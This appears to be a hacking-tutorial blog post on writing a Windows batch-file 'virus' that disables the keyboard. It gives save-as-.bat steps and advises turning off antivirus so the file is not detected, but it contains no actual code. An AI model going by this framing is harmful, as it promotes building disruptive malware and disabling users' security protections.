Making a Virus by Using Notepad or other Text Editor

Disable Keyboard by Batch File Programming

•  What is Batch File Programming ?

          Batch file programming is the native programming offered by the Microsoft Windows Operating
System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which
comprises of a sequence of built-in commands used to perform some often done tasks like deleting a
series of files of same type or of different type, creating logs, clearing unwanted craps from your
computer and even for creating a batch VIRUS.
Whenever a Batch program is executed, it was interpreted line-by-line by the CLI (Command
Line Interpreter) command.com or the cmd.exe. Batch file is really helpful in automating tedious tasks
and for maintaining system logs. The commands used while creating a batch file are case insensitive, in
the sense that it may accept both lower and upper case letters.



Let's write the code to disable the keyboard. To make the code usable follow the instructions:-

• Open Notepad or WordPad or WinWord

•  Copy the below code and paste into the Notepad or WordPad or WinWord

• Then save the file with .bat extension. For example: virus.bat

Remember: Don't Click on the File after Saving. If you Click on it, your keyboard won't work anymore. Anti-Virus detects it. So, if you want check it, you have to confirm that anti-virus is disable.

In the next post I'll discuss How to enable the keyboard again.
